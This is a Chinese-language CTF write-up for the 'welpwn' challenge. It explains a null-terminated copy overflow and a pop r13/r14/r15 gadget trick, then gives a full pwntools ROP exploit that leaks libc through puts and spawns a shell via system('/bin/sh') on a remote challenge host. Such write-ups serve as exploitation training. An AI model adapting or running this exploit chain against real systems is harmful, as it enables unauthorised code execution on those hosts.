分析

直接打开ida x64分析源码

1637821844922.png

发现读了0x400个数据到buf里,刚好没法溢出。于是再查看一下echo函数。

welpwn_2.png

这个for循环特别可疑,会把之前main函数读到的数据赋给s2,直到到有\x00才会停下来。所以这里是一个溢出点。但是我们在覆盖返回地址的时候,肯定会有\x00在里面,所以这里我们最多只能使用一个gadget,剩下的部分就会被截断了。

一开始思路到这里就断了。但是再仔细分析main函数,不难发现buf的起始位置是main函数一开始rsp的位置。好家伙,这下有意思了,s2的起始位置到buf的起始位置起始只隔了0x20!

payload送上去之后,前0x18个位置是不能出现\x00的,接下来0x8可以是一个gadget,再之后就遇上了buf,也就是又会是那0x18个垃圾字符,以及这个gadget。

基于这个特殊的结构,这时就有一种思路了:有没有可能,让前面s2那里的数据和buf的数据能刚好接上,并且只使用一个gadget?答案是有的。用__libc_csu_init上面的pop指令:

0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret

这样一来,前面那0x18个垃圾字符刚好就能拿来当缓冲了。

这时的栈,被我们布置成这样:

0x18个垃圾字符,pop_r13_r14_r15_ret, 0x18个垃圾字符,pop_r13_r14_r15_ret ······

在省略的部分再填上0x18个垃圾字符,然后后面写上正常的ROP链,就可以去泄露libc,然后打第二波拿到shell了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('111.200.241.244', 52959)
elf = ELF('./pwn')
puts_plt = elf.plt['puts']
wrt_got = elf.got['write']
main = elf.sym['main']
pop_rdi = 0x00000000004008a3 # pop rdi ; ret
pop_r13_r14_r15 = 0x000000000040089e # pop r13 ; pop r14 ; pop r15 ; ret
p.recvline()
pay = 'a'*0x18
pay += p64(pop_r13_r14_r15) + p64(0) + p64(0) + p64(0)
pay += p64(pop_rdi) + p64(wrt_got)
pay += p64(puts_plt) + p64(main)

p.sendline(pay)

p.recvuntil('\x40')

wrt_addr = u64(p.recv(6)+'\x00\x00')

libc = LibcSearcher('write', wrt_addr)
base = wrt_addr - libc.dump('write')
binsh = base + libc.dump('str_bin_sh')
sys = base + libc.dump('system')

pay = 'a'*0x18
pay += p64(pop_r13_r14_r15) + p64(0)*3
pay += p64(pop_rdi) + p64(binsh)

pay += p64(sys)
p.sendline(pay)

p.interactive()